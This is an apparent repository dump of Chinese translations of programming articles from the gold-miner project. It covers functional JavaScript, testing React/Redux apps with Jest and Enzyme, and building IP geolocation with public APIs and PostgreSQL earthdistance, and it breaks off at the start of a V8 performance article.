[Function]\n\n嗯，这太小儿科了，换个花样试试：\n\n    var doSomething = function(thing) {\n        thing();\n    }\n\n    var sayBigDeal = function() {\n        var message = \"I'm kind of a big deal\";\n        log(message);\n    }\n\n    doSomething(sayBigDeal);\n    // I'm kind of a big deal\n\n现在你可能觉得这个结果没什么特别的，但对于计算机科学家而言就非常兴奋了。这种把函数放进变量的特性，有时候会被称为 “函数是 JavaScript 的一等公民” （functions are first class objects in JavaScript.）。这意味着大部分时候，可以把函数和其他数据类型（比如对象或字符串）等同对待。这个看起来小的特征可是相当的强大，不过在理解原因之前，我们需要先来介绍一下 DRY 原则。\n\n## 不要重复你自己\n\n程序员都喜欢提及 DRY 原则 - 不要重复你自己（Don't Repeat Yourself）。其思想就是，如果你需要多次进行相同的工作，那就把它们打包起来，放入到某种可重用的包装里（比如函数）。通过这种方式，一旦想要调整那个任务集，你就只需要改动一个地方。\n\n看这个例子，我们使用了一个轮播库，创建三个轮播组件，并放到页面中：\n\n    var el1 = document.getElementById('main-carousel');\n    var slider1 = new Carousel(el1, 3000);\n    slider1.init();\n\n    var el2 = document.getElementById('news-carousel');\n    var slider2 = new Carousel(el1, 5000);\n    slider2.init();\n\n    var el3 = document.getElementById('events-carousel');\n    var slider3 = new Carousel(el3, 7000);\n    slider3.init();\n\n这段代码看起来有点重复，我们想要初始化页面中的轮播组件，而每个组件有一个特定的 ID。因此，让我们看看如何在一个函数中初始化轮播组件，并且为每一个组件 ID 调用该函数：\n\n    function initialiseCarousel(id, frequency) {\n        var el = document.getElementById(id);\n        var slider = new Carousel(el, frequency);\n        slider.init();\n        return slider;\n    }\n\n    initialiseCarousel('main-carousel', 3000);\n    initialiseCarousel('news-carousel', 5000);\n    initialiseCarousel('events-carousel', 7000);\n\n这段代码更加清晰和易于维护。我们需要遵循一个模式：当我们想要对不同的数据集合进行相同的操作时，只需把这些操作包装进函数中。但是，如果我们进行的操作不尽相同呢？\n\n    var unicornEl = document.getElementById('unicorn');\n    unicornEl.className += ' magic';\n    spin(unicornEl);\n\n    var fairyEl = document.getElementById('fairy');\n    fairyEl.className += ' magic';\n    sparkle(fairyEl);\n\n    var kittenEl = document.getElementById('kitten');\n    kittenEl.className += ' magic';\n    rainbowTrail(kittenEl);\n\n要重构这段代码就有一点棘手了，代码当中肯定有重复的行为，但是也为每个元素调用了不同的函数。我们可以把调用 `document.getElementById()` 和添加 `className` 打包到一个函数中，这样可以降低一点重复度：\n\n    function addMagicClass(id) {\n        var element = document.getElementById(id);\n        element.className += ' magic';\n        return element;\n    }\n\n    var unicornEl = addMagicClass('unicorn');\n    spin(unicornEl);\n\n    var fairyEl = addMagicClass('fairy');\n    sparkle(fairyEl);\n\n    var kittenEl = addMagicClass('kitten');\n    rainbow(kittenEl);\n\n但我们还能让代码更加 DRY，还记得 JavaScript 可以把函数作为参数传递给其它函数吗？\n\n    function addMagic(id, effect) {\n        var element = document.getElementById(id);\n        element.className += ' magic';\n        effect(element);\n    }\n\n    addMagic('unicorn', spin);\n    addMagic('fairy', sparkle);\n    addMagic('kitten', rainbow);\n\n这段代码就简洁多了，也更易于维护。这种把函数作为变量并传递给另一函数的能力，为我们的代码提供了更多可能性。在下一节，我们会试着在数组中运用这种能力，让数组变得更加方便使用。\n\n[阅读下一节…](http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-arrays/)\n"
  },
  {
    "path": "TODO/genuine-guide-to-testing-react-redux-applications.md",
    "content": "> * 原文地址：[Genuine guide to testing React & Redux applications](https://blog.pragmatists.com/genuine-guide-to-testing-react-redux-applications-6f3265c11f63)\n> * 原文作者：[Jakub Żmuda](https://blog.pragmatists.com/@goodguykuba?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/genuine-guide-to-testing-react-redux-applications.md](https://github.com/xitu/gold-miner/blob/master/TODO/genuine-guide-to-testing-react-redux-applications.md)\n> * 译者：[jonjia](https://github.com/jonjia)\n> * 校对者：[zephyrJS](https://github.com/zephyrJS) [goldEli](https://github.com/goldEli)\n\n# 测试 React & Redux 应用良心指南\n\n![](https://cdn-images-1.medium.com/max/800/1*8UPDi2_tJ-4P8rkhfN8uAg.jpeg)\n\n前端只是一层薄薄的静态页面的时代已经一去不复返了。现代 web 应用程序变得越来越复杂，逻辑也持续从后端向前端转移。然而，当涉及到测试时，许多人都保持着过时的心态。如果你使用的是 React 和 Redux，但是由于某些原因对测试你的代码不感兴趣，我将在这里向你展示如何以及为什么我们每天都这样做。\n\n**注意：我将使用 [Jest](https://facebook.github.io/jest/) 和 [Enzyme](https://github.com/airbnb/enzyme)。它们是测试 React & Redux 应用最流行的工具。我猜你已经用过或者能熟练使用它们了。**\n\n#### 单元测试和集成测试简单对比\n\nReact & Redux 应用构建在三个基本的构建块上：actions、reducers 和 components。是独立测试它们（单元测试），还是一起测试（集成测试）取决于你。集成测试会覆盖到整个功能，可以把它想成一个黑盒子，而单元测试专注于特定的构建块。从我的经验来看，集成测试非常适用于容易增长但相对简单的应用。另一方面，单元测试更适用于逻辑复杂的应用。尽管大多数应用都适合第一种情况，但我将从单元测试开始更好地解释应用层。\n\n#### 我们将构建（并测试）什么\n\n这里有一个可用的 [应用](https://kubaue.github.io/React-TDD/)。当你第一次进入页面的时候，不会显示图片。你可以通过点击按钮来获取一张图片。我使用了免费的 [Dog API](https://dog.ceo/dog-api/)。现在让我们写一些测试。可以查看我的 [源码](https://github.com/kubaue/React-TDD)。\n\n#### 单元测试：Action 创建函数\n\n为了展示一只狗的图片，我们首先要获取它，如果你不熟悉 [thunk](https://github.com/gaearon/redux-thunk)，别担心。Thunk 是一个中间件，它可以给我们返回一个函数，而不是 action 对象。我们可以用它根据 HTTP 请求结果来 dispatch 对应的成功的 action 或者失败的 action。\n\n我们要测试从 API 成功取回的数据是否 dispatch 了成功的 action，并且将数据一起传递。为了做到这一点，我们将使用 [redux-mock-store](https://github.com/arnaudbenard/redux-mock-store)。\n\n**注意：我使用 [axios](https://github.com/axios/axios) 来作为客户端请求工具，用 [axios-mock-adapter](https://github.com/ctimmerm/axios-mock-adapter) 来 mock 实际 API 的请求。你可以自由选择适合你的工具。**\n\n```\nimport configureMockStore from 'redux-mock-store';\nimport { FETCH_DOG_REQUEST, FETCH_DOG_SUCCESS } from '../../constants/actionTypes';\nimport fetchDog from './fetchDog';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\n\ndescribe('fetchDog action', () => {\n\n  let store;\n  let httpMock;\n\n  const flushAllPromises = () => new Promise(resolve => setImmediate(resolve));\n\n  beforeEach(() => {\n    httpMock = new MockAdapter(axios);\n    const mockStore = configureMockStore();\n    store = mockStore({});\n  });\n\n  it('fetches a dog', async () => {\n    // given\n    httpMock.onGet('https://dog.ceo/api/breeds/image/random').reply(200, {\n      status: 'success',\n      message: 'https://dog.ceo/api/img/someDog.jpg',\n    });\n    // when\n    fetchDog()(store.dispatch);\n    await flushAllPromises();\n    // then\n    expect(store.getActions()).toEqual(\n      [\n        { type: FETCH_DOG_REQUEST },\n        { payload: { url: 'https://dog.ceo/api/img/someDog.jpg' }, type: FETCH_DOG_SUCCESS }\n      ]);\n  })\n});\n```\n\n一开始，让我们在 beforeEach() 中进行 mock store 和模拟的 http 客户端的初始化。在测试中，我们为请求指定结果。之后，执行我们的 action 创建函数。因为我们使用了 thunk，因此它会返回一个函数，我们把 store 的 dispatch 方法传给这个函数。在进行任何断言之前，请求需要变为 resolved，因此我们要确保没有 pending 的 Promise。\n\n```\n  const flushAllPromises = () => new Promise(resolve => setImmediate(resolve));\n```\n\n这行代码会把所有的 promise 放到一个单独的事件循环中。[window.setImmediate](https://developer.mozilla.org/en-US/docs/Web/API/Window/setImmediate) **是用来在浏览器已经完成了比如事件和显示更新等其他操作后，结束这些长时间运行的操作，并立即执行它的回调函数。** 在这个例子中，挂起的 HTTP 请求就是我们要完成的操作。此外，由于这不是一个标准的浏览器特性，所以你不应该在正式代码中使用它。\n\n#### 单元测试：Reducers\n\n我认为 reducers 是应用程序的核心。如果你开发功能丰富、复杂的系统，这部分就会变得很复杂。如果你引入了一个 bug，以后可能很难查找。这就是为什么测试 reducers 非常重要。我们正在构建的应用非常简单，但我希望你能获取到图片。\n\n每个 reducer 都会在应用启动时被调用，因此需要一个初始状态。放任你的初始状态为 undefined 会让你在组件中写好多校验代码。\n\n```\n  it('returns initial state', () => {\n    expect(dogReducer(undefined, {})).toEqual({url: ''});\n  });\n```\n\n这段代码很直接，我们使用 undefined 的状态运行 reducer，并检查它是否会返回带有初始值的状态。\n\n我们还必须保证那个 reducer 能正确的响应成功的请求，并获取到图片的 URL。\n\n```\nit('sets up fetched dog url', () => {\n    // given\n    const beforeState = {url: ''};\n    const action = {type: FETCH_DOG_SUCCESS, payload: {url: 'https://dog.ceo/api/img/someDog.jpg'}};\n    // when\n    const afterState = dogReducer(beforeState, action);\n    // then\n    expect(afterState).toEqual({url: 'https://dog.ceo/api/img/someDog.jpg'});\n  });\n```\n\nReducers 应该是纯函数，没有副作用。这会让测试它们变得非常简单。提供一个之前的状态，触发一个 action，然后验证输出状态是否正确。\n\n#### 单元测试：Components\n\n在我们开始之前，让我们先谈谈组件有哪些方面值得测试。我们显然无法测试组件是否好看。但是，我们绝对应该测试某些条件性的元素是否能成功显示；或者对组件执行某些操作（不是 redux 中的 action），通过组件 props 传递的方法是否会被调用。\n\n在我们的系统中，我们完全依赖 redux 管理应用的状态，因此我们所有的组件都是无状态的。\n\n**注意：如果你在寻找优雅的 Enzyme 断言库，可以查看 [_enzyme-matchers_](https://github.com/FormidableLabs/enzyme-matchers)**\n\n组件的结构很简单。我们有 DogApp 根组件和用来获取并显示狗的图片的 RandomDog 组件。\nRandomDog 组件的 props 如下：\n\n```\n  static propTypes = {\n    dogUrl: PropTypes.string,\n    fetchDog: PropTypes.func,\n  };\n```\n\nEnzymes 可以让我们用两种方式来渲染一个组件。Shallow Rendering 意味着只有根组件会被渲染。如果你把 shallow rendered 组件的文本打印出来，你会发现所有子组件都没有被渲染。Shallow rendering 非常适合单独测试组件，并且从 Enzyme 3 开始（Enzyme 2 中也是可选的），它会调用生命周期的方法，比如 componentDidMount()。我们稍后再介绍第二种方法。\n\n现在我们来写 RandomDog 组件的测试用例。\n\n首先，我们要确保没有图片 URL 时，要显示占位符，而且不应该显示图片。\n\n```\n  it('should render a placeholder', () => {\n    const wrapper = shallow(<RandomDog />);\n    expect(wrapper.find('.dog-placeholder').exists()).toBe(true);\n    expect(wrapper.find('.dog-image').exists()).toBe(false);\n  });\n```\n\n其次，在提供图片 URL 时，图片应该替换占位符显示出来。\n\n```\n  it('should render actual dog image', () => {\n    const wrapper = shallow(<RandomDog dogUrl=\"http://somedogurl.dog\" />);\n    expect(wrapper.find('.dog-placeholder').exists()).toBe(false);\n    expect(wrapper.find('img[src=\"http://somedogurl.dog\"]').exists()).toBe(true);\n  });\n```\n\n最后，点击获取狗的图片按钮，应该会执行 **fetchDog()** 方法。\n\n```\n  it('should execute fetchDog', () => {\n    const fetchDog = jest.fn();\n    const wrapper = shallow(<RandomDog fetchDog={fetchDog}/>);\n    wrapper.find('.dog-button').simulate('click');\n    expect(fetchDog).toHaveBeenCalledTimes(1);\n  });\n```\n\n**注意：在这个例子中，我使用了元素和类选择器。如果你发现它很脆弱并重构了代码，可以考虑切换到 [_custom attributes_](https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes)。**\n\n#### 只有单元测试，没有集成测试\n\n我用一些陈词滥调来说明单元测试的问题。\n\n![](https://cdn-images-1.medium.com/max/800/1*KoTFh3xRPgkzD0FlzsYKjA.gif)\n\n虽然单元测试是个很好的工具，但它并不能保证我们正确连接了所有的组件，或者 reducer 订阅了正确的 action。这是 bug 容易发生的位置，这就是为什么我们需要集成测试。\n\n是的，有些人认为由于上述原因，单元测试是没用的，但我认为他们没有面对过一个足够复杂的系统来发现单元测试的价值。\n\n#### 集成测试\n\n我们现在将它们捆绑在一起并放在一个黑盒子中，而不是单独和详细地测试构建块。我们不再关心内部是如何工作的，或是组件内部究竟发生了什么。 这就是为什么集成测试非常有弹性和方便重构的原因。**你可以切换整个底层机制而无需更新测试。**\n\n在集成测试中，我们不再需要 mock store。让我们使用真实的吧。\n\n```\nimport { applyMiddleware, createStore } from 'redux';\nimport thunk from 'redux-thunk';\nimport reducers from './reducers/index';\n\nexport default function setupStore(initialState) {\n  return createStore(reducers, {...initialState}, applyMiddleware(thunk));\n}\n```\n\n就是这样。现在，我们有一个功能齐全的 store，是时候开始第一个测试了。我们使用 Enzyme 的 mount 来（实现挂载类型的渲染）。Mount 非常适合集成测试，因为它会渲染整个底层组件树。\n\n正如我们在单元测试中所做的那样，我们要检查应用启动时是否没有显示图像。但是现在我没有将空的图像 URL 作为组件的 prop 传递，而是将其包装在 Provider 中，传递了我们创建的 store。\n\n```\n  it('should render a placeholder when no dog image is fetched', () => {\n    let wrapper = mount(<Provider store={store}><App /></Provider>);\n    expect(wrapper.find('div.dog-placeholder').text()).toEqual('No dog loaded yet. Get some!');\n    expect(wrapper.find('img.dog-image').exists()).toBe(false);\n  });\n```\n\n没有什么特别的是吧？我们来看第二个测试用例。\n\n```\n  it('should fetch and render a dog', async () => {\n    httpMock.onGet('https://dog.ceo/api/breeds/image/random').reply(200, {\n      status: 'success',\n      message: 'https://dog.ceo/api/img/someDog.jpg'\n    });\n\n    const wrapper = mount(<Provider store={store}><App /></Provider>);\n    wrapper.find('.dog-button').simulate('click');\n\n    await flushAllPromises();\n    wrapper.update();\n\n    expect(wrapper.find('img[src=\"https://dog.ceo/api/img/someDog.jpg\"]').exists()).toBe(true);\n  });\n```\n\n很容易对吧？这个测试描述了我们和组件之间的真实交互。它涵盖了单元测试所做的每个方面，甚至更多。现在我们可以说构建块不仅能够单独运行，而且能够以正确的方式结合起来。\n\n哦，如果你对 Enzyme 很熟悉，还想知道我为什么调用 wrapper.update()，[这就是原因](https://github.com/airbnb/enzyme/issues/1153)。简而言之：这是 Enzyme 3 的一个 bug。也许在你阅读这篇文章时，它会被修复。\n\n#### 快照测试简介\n\nJest 提供了一种确保代码更改不会改变组件的 render(）方法输出的方法。虽然编写快照测试非常简单快捷，但它们并不具有描述性，也无法通过测试驱动开发过程。我看到的唯一使用案例是，当你对其他人的未经测试的遗留代码进行一些更改时，你并不想整理这些代码，更不希望因为修改它而受到指责。\n\n#### 那么我们应该使用什么类型的测试？\n\n只需要从集成测试开始。你很可能觉得不会在你的项目中实施一个单元测试。这意味着你的复杂性不会在构建块之间划分，这样非常好。你会节省很多时间。另一方面，有些系统会利用单元测试的能力。两者都有用武之地。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/geolocation-using-multiple-services.md",
    "content": ">* 原文链接 : [Geolocation using multiple services](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html)\n* 原文作者 : [wsdookadr](https://github.com/wsdookadr)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [emmiter](https://github.com/emmiter/)\n* 校对者: [a-voyager](https://github.com/a-voyager), [jamweak](https://github.com/jamweak)\n\n# 基于多种服务的地理位置查询系统\n\n## 简介\n\n我的[这篇](https://blog.garage-coding.com/2015/12/24/out-on-the-streets.html)文章讨论了 [PostGIS](http://postgis.net/) 以及查询地理数据的几种方法。这篇文章将集中讨论构建一个免费的地理服务系统，并聚合呈现结果。\n\n## 概述\n\n总的来说，我们将会向不同的网络服务(或APIs)发起请求，对响应结果做[反向地理编码](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html)后再聚合展示。![](http://ac-Myg6wSTV.clouddn.com/2442a3bd132f453eb9eb.png)\n\n## 比较 [Geonames](http://www.geonames.org/) 和 [OpenStreetMap](https://www.openstreetmap.org/#map=5/51.500/-0.100)\n\n下表罗列了二者之间的部分差别:\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f5raumu7jtj20gw09ujt1.jpg)\n\n二者用途不同。Geonomes 用于城市/行政区/国家数据，可被用于[地理编码](http://www.geonames.org/export/geonames-search.html)。OpenStreetMap 拥有更加详尽的数据(使用者基本上都可以从 OpenStreetMap 中提取出Geonames数据)，这些数据可被用作地理编码，路线规划以及[这些](http://wiki.openstreetmap.org/wiki/Applications_of_OpenStreetMap)和[基于 OpenStreetMap 的服务](http://wiki.openstreetmap.org/wiki/List_of_OSM-based_services)。\n\n## 发送给地理位置服务的异步请求\n\n我们使用 [gevent](http://www.gevent.org/) 库来向地理位置服务发起异步请求。\n\n    import gevent\n    import gevent.greenlet\n    from gevent import monkey; gevent.monkey.patch_all()\n    \n    geoip_service_urls=[\n            ['geoplugin'    , 'http://www.geoplugin.net/json.gp?ip={ip}' ],\n            ['ip-api'       , 'http://ip-api.com/json/{ip}'              ],\n            ['nekudo'       , 'https://geoip.nekudo.com/api/{ip}'        ],\n            ['geoiplookup'  , 'http://api.geoiplookup.net/?query={ip}'   ],\n            ]\n    \n    # fetch url in asynchronous mode (makes use of gevent)\n    def fetch_url_async(url, tag, timeout=2.0):\n        data = None\n        try:\n            opener = urllib2.build_opener(urllib2.HTTPSHandler())\n            opener.addheaders = [('User-agent', 'Mozilla/')]\n            urllib2.install_opener(opener)\n            data = urllib2.urlopen(url,timeout=timeout).read()\n        except Exception, e:\n            pass\n    \n        return [tag, data]\n    \n    # expects req_data to be in this format: [ ['tag', url], ['tag', url], .. ]\n    def fetch_multiple_urls_async(req_data):\n    \n        # start the threads (greenlets)\n        threads_ = []\n        for u in req_data:\n            (tag, url) = u\n            new_thread = gevent.spawn(fetch_url_async, url, tag)\n            threads_.append(new_thread)\n    \n        # wait for threads to finish\n        gevent.joinall(threads_)\n    \n        # retrieve threads return values\n        results = []\n        for t in threads_:\n            results.append(t.get(block=True, timeout=5.0))\n    \n        return results\n    \n    def process_service_answers(location_data):\n        # 1) extract lat/long data from responses\n        # 2) reverse geocoding using geonames\n        # 3) aggregate location data\n        #    (for example, one way of doing this would\n        #     be to choose the location that most services\n        #     agree on)\n        pass\n    \n    def geolocate_ip(ip):\n        urls = []\n        for grp in geoip_service_urls:\n            tag, url = grp\n            urls.append([tag, url.format(ip=ip)])\n        results = fetch_multiple_urls_async(urls)\n        answer = process_service_answers(results)\n        return answer\n\n## 引发歧义的城市名\n\n### 同一国家中具有相同名字的城市\n\n同个国家里，有非常多的分属于不同州或行政区的同名城市。也有很多同名不同国的城市。例如，根据 Geonames 的数据显示，美国一共有24个名叫 Clinton 的城市(这24个城市共分布在23个州，其中有两个是在密歇根州)\n\n    WITH duplicate_data AS (\n        SELECT\n        city_name,\n        array_agg(ROW(country_code, region_code)) AS dupes\n        FROM city_region_data\n        WHERE country_code = 'US'\n        GROUP BY city_name, country_code\n        ORDER BY COUNT(ROW(country_code, region_code)) DESC\n    )\n    SELECT\n    city_name,\n    ARRAY_LENGTH(dupes, 1) AS duplicity,\n    ( CASE WHEN ARRAY_LENGTH(dupes,1) > 9 \n      THEN CONCAT(SUBSTRING(ARRAY_TO_STRING(dupes,','), 1, 50), '...')\n      ELSE ARRAY_TO_STRING(dupes,',') END\n    ) AS sample\n    FROM duplicate_data\n    LIMIT 5;\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f5rawd6ei2j20in06n0uy.jpg)\n\n### 同一国家，同一行政区的同名城市\n\n从全世界范围来看，即便是在同个国家的同个行政区，都会出现多个名字完全相同的城市。就拿位于美国印第安纳州(Indiana)的乔治城(Georgetown)来说，Geonames  表明该州共有3个同名城镇。维基百科则显示了更多:\n\n* [乔治城，弗洛伊德县，印第安纳州](https://en.wikipedia.org/wiki/Georgetown,_Floyd_County,_Indiana)\n\n* [乔治城小镇，弗洛伊德县，印第安纳州](https://en.wikipedia.org/wiki/Georgetown_Township,_Floyd_County,_Indiana)\n\n* [乔治城，卡斯县，印第安纳州](https://en.wikipedia.org/wiki/Georgetown,_Cass_County,_Indiana)\n\n* [乔治城，兰道夫县，印第安纳州](https://en.wikipedia.org/wiki/Georgetown,_Randolph_County,_Indiana)\n```\nWITH duplicate_data AS (\n    SELECT\n    city_name,\n    array_agg(ROW(country_code, region_code)) AS dupes\n    FROM city_region_data\n    WHERE country_code = 'US'\n    GROUP BY city_name, region_code, country_code\n    ORDER BY COUNT(ROW(country_code, region_code)) DESC\n)\nSELECT\ncity_name,\nARRAY_LENGTH(dupes, 1) AS duplicity,\n( CASE WHEN ARRAY_LENGTH(dupes,1) > 9 \n  THEN CONCAT(SUBSTRING(ARRAY_TO_STRING(dupes,','), 1, 50), '...')\n  ELSE ARRAY_TO_STRING(dupes,',') END\n) AS sample\nFROM duplicate_data\nLIMIT 4;\n```\n![](http://ww2.sinaimg.cn/large/a490147fgw1f5raxacpo0j20d505rmy4.jpg)\n\n## 反向地理编码\n\n\n(city_name, country_code),(city_name, country_code, region_name) 这两个元组都不能唯一地确定一个位置。我们可以使用邮政编码 ([zip codes](https://en.wikipedia.org/wiki/ZIP_code) 或者叫做 [postal codes](https://en.wikipedia.org/wiki/Postal_code))，除非地理位置服务不提供他们。但是大部分的地理位置服务却提供经纬度，可以使用这两者来消除歧义。\n\n### PostgreSQL 数据库中的图形数据类型\n\n我深入研究了 PostgreSQL 数据库的文档，发现它也拥有几何[数据类型](https://www.postgresql.org/docs/9.4/static/datatype-geometric.html)和用于2D 几何(平面几何)的[函数](https://www.postgresql.org/docs/9.4/static/functions-geometry.html)。你可以使用这些现成的数据类型和函数来模拟点，框，路径，多边形和圆并且可以将他们存储，之后还可以查询。PostgreSQL  还有一些存在于普通发布目录的[额外扩展](https://www.postgresql.org/docs/9.1/static/contrib.html)。这些扩展需要大部分 Postgres 安装后才可以使用。当下的情况，我们对[ cube 类型](https://www.postgresql.org/docs/9.4/static/cube.html) 和 [earthdistance](https://www.postgresql.org/docs/9.4/static/earthdistance.html) 扩展感兴趣，earthdistance 扩展使用 [3-cubes](https://en.wikipedia.org/wiki/Hypercube) 来存储向量和表示地球上的点。我们要用到的东西如下所示:\n\n* `earth_distance` 函数是可用的，允许你计算球面上两点之间的最短距离 [great-circle-distance](https://en.wikipedia.org/wiki/Great-circle_distance)\n* `earth_box` 函数用于检查对于给定的参考点，和给定的距离，该点是否位于该距离以内\n* 一个 [gist](https://www.postgresql.org/docs/9.1/static/sql-createindex.html) [位于表达式上的索引(expression index)](https://www.postgresql.org/docs/9.4/static/indexes-expressional.html)，表达式 `ll_to_earth(lat,long)`  执行快速的空间查询以及寻找附近点。\n\n### 为城市 & 行政区数据设计一个视图\n\nGeonames 数据被导入到3个表中:\n\n* `geo_geoname` (数据来自 [cities1000.zip](http://download.geonames.org/export/dump/cities1000.zip))\n* `geo_admin1` (数据来自 [admin1CodesASCII.txt](http://download.geonames.org/export/dump/admin1CodesASCII.txt) )\n* geo_countryinfo (数据来自 [countryInfo.txt](http://download.geonames.org/export/dump/countryInfo.txt) )\n\n然后我们来创建一个可以将所有东西拉取到一起的视图<sup>[3](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html#fn.3)</sup>。现在我们有了人口数据，城市/行政区/国家数据以及经度/维度数据，都在同个地方了。\n\n    CREATE OR REPLACE VIEW city_region_data AS ( \n        SELECT\n            b.country AS country_code,\n            b.asciiname AS city_name,\n            a.name AS region_name,\n            b.region_code,\n            b.population,\n            b.latitude AS city_lat,\n            b.longitude AS city_long,\n            c.name    AS country_name\n        FROM geo_admin1 a\n        JOIN (\n            SELECT *, (country || '.' || admin1) AS country_region, admin1 AS region_code\n            FROM geo_geoname\n            WHERE fclass = 'P'\n        ) b ON a.code = b.country_region\n        JOIN geo_countryinfo c ON b.country = c.iso_alpha2\n    );\n\n### 设计一个城市周边查询函数\n\n在大多数嵌套 `SELECT` 语句中，我们都确保城市是在以参考点为圆心，以大约23km为半径的区域内，再对结果应用国家过滤器和城市模式过滤器(这两个过滤器均为可选)，最后仅得到接近50个结果。下一步，我们用人口数据对结果重新排序，因为有时候会在较大城市附近有一些区和邻域 <sup>[4](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html#fn.4)</sup>，而 Geonames 不会用特定的方式标记他们，我们只是想选出较大的城市而不是一个区域(比如说地理位置服务返回了经纬度信息，该信息可被解析为一个较大城市的地区。于我而言，我比较愿意去把它解析成经纬度相对应的大城市)。我们也创建了一个 gist 索引(`@>` 该符号将会使用 gist 索引 )，用于寻找以参照点为圆心，特定半径范围内的点。这个查询函数接受一个点(以纬度和经度表示)作为输入，返回该输入点相关联的城市，地区和国家。\n\n    CREATE INDEX geo_geoname_latlong_idx ON geo_geoname USING gist(ll_to_earth(latitude,longitude));\n    CREATE OR REPLACE FUNCTION geo_find_nearest_city_and_region(\n        latitude double precision,\n        longitude double precision,\n        filter_countries_arr varchar[],\n        filter_city_pattern  varchar,\n    ) RETURNS TABLE(\n        country_code varchar,\n        city_name varchar,\n        region_name varchar,\n        region_code varchar,\n        population bigint,\n        _lat double precision,\n        _long double precision,\n        country_name varchar,\n        distance numeric\n        ) AS $\n    BEGIN\n        RETURN QUERY\n        SELECT *\n        FROM (\n            SELECT\n            *\n            FROM (\n                SELECT \n                *,\n                ROUND(earth_distance(\n                       ll_to_earth(c.city_lat, c.city_long),\n                       ll_to_earth(latitude, longitude)\n                      )::numeric, 3) AS distance_\n                FROM city_region_data c\n                WHERE earth_box(ll_to_earth(latitude, longitude), 23000) @> ll_to_earth(c.city_lat, c.city_long) AND\n                      (filter_countries_arr IS NULL OR c.country_code=ANY(filter_countries_arr)) AND\n                      (filter_city_pattern  IS NULL OR c.city_name LIKE filter_city_pattern)\n                ORDER BY distance_ ASC\n                LIMIT 50\n            ) d\n            ORDER BY population DESC\n        ) e\n        LIMIT 1;\n    END;\n    $\n    LANGUAGE plpgsql;\n\n## 总结\n\n我们从系统设计着手，让这个系统可以查询多个Geoip 服务，可以收集这些服务返回的数据对其[聚合](https://en.wikipedia.org/wiki/Aggregate_data)后得到一个更加可靠的结果。我们首先考虑了唯一确定位置的几种方式。随后选取了一种可以在确认位置时消除歧义的方法。第二部分中，我们着眼于构建，存储以及查询PostgreSQL中地理数据的不同方法。然后我们建立了一个视图和函数，用来找出参考点附近的允许我们用来进行反向编码的城市。\n\n## 附注:\n\n<sup>[1](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html#fnr.1)</sup> 通过使用多种服务(并且假定这些服务内部使用了不同的数据源)聚合后的结果，将会比我们只使用其中某一种服务得到的答案更为可靠。\n\n此处还有一点优势就，我们使用了免费服务，不需要什么设置，也无需关心更新；因为这些服务都是由各自的拥有者在维护。\n\n然而，比起查询一个本地的 geoip(基于 IP 查询的地理位置)数据结构，查询这些网络地理位置服务则会比较缓慢。好在像城市/国家/行政区这种定位数据库已经有了，例如 [MaxMind GeoIP2](https://www.maxmind.com/en/geoip2-databases), [IP2Location](http://www.ip2location.com/databases/db3-ip-country-region-city) 以及 [DB-IP](https://db-ip.com/db/#downloads) 。\n\n<sup>[2](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html#fnr.2)</sup> 介绍一篇[好文章](http://tapoueh.org/blog/2013/08/05-earthdistance),讲述了使用 `earthdistance` 模块来计算附近或更远处酒吧的距离。\n\n<sup>[3](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html#fnr.3)</sup> Genomes 也有 geonamelds，我们可以使用这些 genomes-specific ids 来精确匹配其位置。\n\n<sup>[4](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html#fnr.4)</sup> Geonames 没有关于 城市/邻域的多边形数据，或者城市地区类型的元数据(参考概述中 Geonames 和 OpenStreetMap 差异对照表中 criteria 一列的数据)，所以你无法查询包含那个点的所有的城市多边形(不是指区域/邻域)。\n"
  },
  {
    "path": "TODO/get-ready-a-new-v8-is-coming-node-js-performance-is-changing.md",
    "content": "> * 原文地址：[GET READY: A NEW V8 IS COMING, NODE.JS PERFORMANCE IS CHANGING.](https://medium.com/the-node-js-collection/get-ready-a-new-v8-is-coming-node-js-performance-is-changing-46a63d6da4de)\n> * 原文作者：[Node.js Foundation](https://medium.com/@nodejs?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/get-ready-a-new-v8-is-coming-node-js-performance-is-changing.md](https://github.com/xitu/gold-miner/blob/master/TODO/get-ready-a-new-v8-is-coming-node-js-performance-is-changing.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[ClarenceC](https://github.com/ClarenceC)、[moods445](https://github.com/moods445)\n\n# 做好准备：新的 V8 即将到来，Node.js 的性能正在改变。\n\n本文由 [David Mark Clements](https://twitter.com/davidmarkclem) 和 [Matteo Collina](https://twitter.com/matteocollina) 共同撰写，负责校对的是来自 V8 团队的 [Franziska Hinkelmann](https://twitter.com/fhinkel) 和 [Benedikt 